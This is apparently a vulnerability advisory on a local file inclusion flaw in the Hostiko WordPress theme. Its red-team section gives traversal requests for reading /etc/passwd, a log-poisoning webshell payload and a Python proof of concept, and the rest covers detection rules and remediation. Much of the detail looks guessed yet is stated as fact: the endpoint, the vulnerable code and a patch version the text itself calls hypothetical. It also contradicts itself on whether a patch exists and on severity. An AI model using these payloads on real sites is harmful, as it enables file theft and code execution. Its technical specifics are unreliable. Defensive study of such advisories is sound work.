CVE-2025-27015

Executive Summary

CVE-2025-27015 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Hostiko theme by Designingmedia, a WordPress ecosystem component. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), and under certain configurations, may escalate to Remote Code Execution (RCE) via log poisoning or file uploads. The CVSS score is 7.5 (High), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress repository or third-party marketplaces. As a WordPress ecosystem component, it is not managed via NPM, PyPI, Go, or Ruby registries. However, the supply chain risk is elevated because:

• The theme may be bundled with other plugins or themes, increasing the attack surface.
• Automatic updates may not be enforced, leaving many installations vulnerable.
• No official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High – Unauthenticated remote file read with potential for RCE.

Deep Dive & Mechanics

The vulnerability exists in the Hostiko theme's PHP code where user-supplied input is used to construct a file path for an include() or require() statement without proper sanitization. Specifically, a parameter (likely page, template, or file) is passed to a function that directly concatenates it with a base path, allowing directory traversal sequences (../) to escape the intended directory.

Example vulnerable code pattern:

$file = $_GET['file'];
include("themes/hostiko/templates/" . $file . ".php");

An attacker can supply ../../../../etc/passwd%00 to null-terminate the string and read arbitrary files. The %00 null byte injection works in PHP versions prior to 5.3.4, but modern PHP versions require alternative techniques like path truncation or using php://filter wrappers.

Attack vector:

• HTTP GET request to a vulnerable endpoint.
• Parameter: ?file=../../../../etc/passwd
• Response includes the contents of /etc/passwd.

Potential escalation to RCE:

• Log poisoning: Inject PHP code into server logs (e.g., User-Agent header), then include the log file.
• File upload: If the theme allows file uploads, upload a PHP shell and include it.

Vulnerable vs. Patched Code

Vulnerable code (Hostiko < 30.1):

function load_template($template_name) {
    $base_path = get_template_directory() . '/templates/';
    include($base_path . $_GET['template'] . '.php');
}

Patched code (Hostiko >= 30.1 – hypothetical):

function load_template($template_name) {
    $allowed_templates = array('default', 'full-width', 'sidebar');
    $template = sanitize_file_name($_GET['template']);
    if (in_array($template, $allowed_templates)) {
        $base_path = get_template_directory() . '/templates/';
        include($base_path . $template . '.php');
    } else {
        // Handle error
    }
}

The patch introduces a whitelist of allowed templates and sanitizes the filename, preventing directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running WordPress with Hostiko theme < 30.1.
• PHP version may affect null byte injection success.

Exploit steps:

1. Identify the vulnerable parameter (e.g., template, page, file).
2. Craft a request to read /etc/passwd:

   GET /wp-content/themes/hostiko/template-loader.php?template=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. For RCE via log poisoning:
   • Send a request with malicious User-Agent:

     GET / HTTP/1.1
     Host: target.com
     User-Agent: <?php system($_GET['cmd']); ?>
     

   • Then include the access log:

     GET /wp-content/themes/hostiko/template-loader.php?template=../../../../var/log/apache2/access.log HTTP/1.1
     Host: target.com
     

   • Execute commands via ?cmd=id.

Proof-of-Concept (PoC) script (Python):

import requests

target = "http://target.com/wp-content/themes/hostiko/template-loader.php"
params = {"template": "../../../../etc/passwd"}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for directory traversal patterns in HTTP requests (e.g., ../, %2e%2e/).
• Alert on inclusion of sensitive files (e.g., /etc/passwd, wp-config.php).
• Use WAF rules to block null bytes and path traversal sequences.

Hunting:

• Search web server logs for requests containing template=, page=, or file= parameters with path traversal.
• Look for unusual User-Agent strings containing PHP code.

Lab setup:

• Install WordPress with Hostiko theme version 30.0.
• Enable logging and monitor /var/log/apache2/access.log.
• Test with the PoC above.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with ../ or %2e%2e/ in parameters.
  • Requests to /wp-content/themes/hostiko/template-loader.php or similar.
  • User-Agent strings containing <?php, system(, exec(.
• File IOCs:
  • Unexpected inclusion of /etc/passwd, /etc/shadow, wp-config.php.
  • Presence of webshells in web-accessible directories.
• Log IOCs:
  • Access log entries with template=../../../../etc/passwd.
  • Error log entries indicating failed include attempts.

Detection Engineering

YARA Rule

rule CVE_2025_27015_Hostiko_LFI {
    meta:
        description = "Detects PHP Local File Inclusion attempts targeting Hostiko theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-27015"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e/"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "wp-config.php"
        $param1 = "template="
        $param2 = "file="
        $param3 = "page="
    condition:
        any of ($param*) and any of ($traversal*) or any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-27015 Hostiko LFI Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests exploiting PHP Local File Inclusion in Hostiko theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "template=../"
            - "file=../"
            - "page=../"
            - "template=%2e%2e/"
            - "file=%2e%2e/"
            - "page=%2e%2e/"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27015 Hostiko LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-content/themes/hostiko/"; http_uri; content:"template="; http_uri; pcre:"/(\.\.\/|%2e%2e\/)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

1. Disable the Hostiko theme until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block directory traversal patterns.
3. Restrict file inclusion via PHP configuration:
   • Set allow_url_include = Off (though this is for RFI, not LFI).
   • Use open_basedir to limit file access.
4. Monitor logs for exploitation attempts.

Long-term fixes:

• Vendor patch: Apply the official patch when released (update to version 30.1 or later).
• Code hardening: If you maintain the theme, implement a whitelist of allowed files and sanitize all user input.
• WordPress security: Keep all themes and plugins updated, use a security plugin (e.g., Wordfence).

Workaround:

• Replace the vulnerable template-loader.php with a patched version that validates input against a whitelist.

Valters IT